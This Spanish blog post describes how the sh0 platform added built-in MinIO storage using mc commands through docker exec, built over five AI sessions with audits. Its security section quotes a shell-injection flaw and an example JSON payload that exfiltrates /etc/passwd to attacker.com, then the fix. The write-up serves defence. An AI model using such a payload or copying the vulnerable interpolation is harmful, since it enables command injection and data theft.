Todo desarrollador que despliega un sitio WordPress, una aplicación Laravel o un proyecto Next.js eventualmente necesita almacenamiento de objetos. Fotos de perfil, subida de documentos, archivos multimedia -- todo necesita un lugar donde vivir. La respuesta estándar es "regístrate en AWS S3", lo que significa otra cuenta, otro panel de facturación, otro conjunto de credenciales que gestionar.
Queríamos que los usuarios de sh0 tuvieran almacenamiento compatible con S3 disponible desde el momento en que instalan la plataforma. Sin registro, sin configuración, sin dependencia externa. Simplemente despliega tu aplicación y empieza a subir archivos.
Esta es la historia de cómo lo construimos en un solo día, a través de cinco sesiones de IA coordinadas, y lo que una auditoría de seguridad detectó antes de que se publicara.
La decisión de arquitectura: mc en lugar de SDK
MinIO expone dos API: la API S3 estándar (para operaciones de buckets y objetos) y una API Admin propietaria (para gestión de usuarios y claves de acceso). Para usar la API S3 desde Rust, habría que implementar la firma AWS Signature V4 -- un protocolo notoriamente complicado que involucra la construcción de solicitudes canónicas, cadenas HMAC-SHA256 y un ordenamiento preciso de headers.
Elegimos un camino diferente. MinIO incluye mc (MinIO Client) en cada contenedor. En lugar de implementar SigV4, ejecutamos comandos mc dentro del contenedor vía Docker exec:
docker exec sh0-system-minio mc mb local/my-bucket
docker exec sh0-system-minio mc admin user svcacct add local ROOT --name "app-key" --jsonEsto nos da toda la potencia de ambas API sin dependencias adicionales. La contrapartida es que estamos construyendo comandos shell, lo que conlleva sus propios riesgos -- más detalles abajo.
Bootstrap: almacenamiento disponible desde el primer arranque
Cuando sh0 arranca por primera vez, este:
- Genera credenciales aleatorias (nombre de usuario de 20 caracteres, contraseña de 32 caracteres)
- Las cifra con AES-256-GCM usando la clave maestra
- Almacena las credenciales cifradas en SQLite
- Crea un contenedor MinIO en la red bridge
sh0-net - Registra la instancia como
is_system = true
En arranques posteriores, carga las credenciales cifradas de la base de datos, las descifra y se asegura de que el contenedor esté en ejecución. Todo el bloque es no-fatal -- si MinIO falla al arrancar, el resto de sh0 sigue funcionando. Esto sigue el mismo patrón que usamos para el contenedor sandbox de IA.
El resultado: cuando un desarrollador abre el dashboard de sh0 después de la instalación, ve "Almacenamiento de archivos" en la barra lateral con su instancia MinIO del sistema ya en ejecución.
Cinco sesiones, una funcionalidad
La implementación siguió nuestro flujo estándar construir-auditar-auditar-aprobar, pero distribuido en cinco sesiones coordinadas:
Sesión 1 (esta conversación): Capa de base de datos (migraciones, modelos) y bootstrap del sistema (creación de contenedor Docker, cifrado de credenciales). Esta fue la base -- trabajo cuidadoso en el esquema y el bootstrap idempotente que maneja cada estado: contenedor en ejecución, contenedor detenido, contenedor ausente, condición de carrera en la creación.
Sesión 2: El grueso de la implementación. 350 líneas de minio_ops.rs (9 funciones envolviendo comandos mc), 580 líneas de handlers API (14 endpoints siguiendo el patrón de databases.rs) y el dashboard completo (página de lista, página de detalle con 4 pestañas, cliente API, tipos TypeScript, i18n en 5 idiomas). Se redactó un prompt de continuación para dar a esta sesión el contexto completo sin necesidad de releer la base de código.
Sesión 3 (Auditoría ronda 1): Una sesión fresca sin sesgo de implementación revisó los 19 archivos. Encontró tres problemas críticos y uno importante. Los corrigió todos.
Sesión 4 (Auditoría ronda 2): Una tercera sesión verificó las correcciones de la ronda 1 y detectó un problema adicional que el primer auditor había pasado por alto.
Sesión 5 (de vuelta a esta conversación): El CEO probó manualmente con un servidor en funcionamiento y encontró 6 bugs que solo se manifiestan en tiempo de ejecución -- mapeo dinámico de puertos, credenciales de consola faltantes, problemas de estado de la interfaz. Todos corregidos y publicados.
Lo que la auditoría detectó: inyección shell
El hallazgo más significativo fue una vulnerabilidad de inyección shell en minio_ops.rs. La función mc_exec construye comandos shell que se ejecutan dentro del contenedor MinIO:
rust// Antes de la corrección
let cmd = format!("mc admin user svcacct add local ROOT --name \"{}\"", description);La descripción proviene de una solicitud API enviada por el usuario. Las comillas dobles en el shell permiten la sustitución de comandos: $(...), los backticks y $VAR son todos evaluados. Un atacante podría enviar:
json{ "description": "$(curl attacker.com/exfil?data=$(cat /etc/passwd))" }Y el shell lo ejecutaría dentro del contenedor MinIO.
La corrección fue doble:
- Una función
validate_shell_safe()que solo permite[a-zA-Z0-9\-_.]para todos los valores interpolados en comandos shell (nombres de buckets, identificadores de claves de acceso) - Cambio de comillas dobles a comillas simples para el campo de descripción, lo que impide toda expansión shell en
sh
Combinado con la validación de entradas a nivel del handler API (nombres de buckets validados antes de llegar a minio_ops), esto proporciona defensa en profundidad. Ninguna capa por sí sola es suficiente -- la validación del handler atrapa nombres de buckets maliciosos antes de que lleguen al shell, y la validación a nivel del shell atrapa lo que se filtre.
Exactamente por eso existe la metodología de auditoría multi-sesión. La sesión de implementación se enfoca en hacer que las cosas funcionen. La sesión de auditoría se enfoca en hacerlas fallar.
Los bugs de runtime que las auditorías no pueden detectar
A pesar de dos auditorías de código exhaustivas, las pruebas manuales del CEO encontraron 6 bugs. Todos eran problemas de integración en tiempo de ejecución invisibles a la revisión de código estática:
Mapeo dinámico de puertos. Docker mapea los puertos del contenedor 9000 y 9001 a puertos aleatorios del host. El bootstrap almacenaba localhost:9000 en la base de datos. La corrección: consultar Docker para los mapeos de puertos reales en cada solicitud API y actualizar la base de datos.
Credenciales de consola faltantes. La consola web de MinIO requiere autenticación, pero el nombre de usuario y contraseña del administrador estaban cifrados en la base de datos y nunca se exponían al dashboard. Se añadió un botón de revelación de credenciales en la pestaña Vista general.
Estado del modal. Después de crear una clave de acceso, el modal no se cerraba, ocultando el banner del secreto de un solo uso detrás de él. Corrección de una sola línea: showCreateKey = false.
Estos bugs enseñan una lección importante: la revisión de código y las auditorías de seguridad son necesarias pero no suficientes. También se necesita que alguien haga clic a través de la interfaz real con un servidor en funcionamiento.
El resultado
Los usuarios de sh0 ahora obtienen almacenamiento gestionado compatible con S3 listo para usar:
- 14 endpoints API para gestión completa del ciclo de vida
- Dashboard con 4 pestañas: Vista general (snippets de conexión rápida para AWS SDK, Laravel), Buckets (CRUD + navegación), Claves de acceso (visualización del secreto de un solo uso), Uso
- Seguridad: credenciales cifradas, protección contra inyección shell, RBAC en cada endpoint, secretos de claves de acceso hasheados con SHA-256
- Cero dependencias externas: funciona completamente dentro del entorno Docker del usuario
Miles de desarrolladores actualmente pagan por AWS S3, DigitalOcean Spaces o Cloudflare R2 solo para almacenar las subidas de sus aplicaciones. Con sh0, ese almacenamiento viene incluido -- gratuito, privado y bajo su control.
Lo que viene después
La implementación actual comparte un solo contenedor MinIO entre todas las "instancias". Esto es un andamiaje intencional -- el esquema de base de datos y el contrato API ya soportan contenedores por instancia. Cuando construyamos soporte multi-instancia, cada instancia creada por el usuario tendrá su propio contenedor con credenciales y almacenamiento aislados.
Después de eso: email gestionado (Parte 2 de la especificación), que sigue un patrón similar -- bootstrapear un contenedor de servidor de correo, exponerlo a través de handlers API y darle una interfaz de dashboard pulida.
El patrón funciona. Construir la base cuidadosamente, auditarla dos veces, probarla manualmente, publicarla.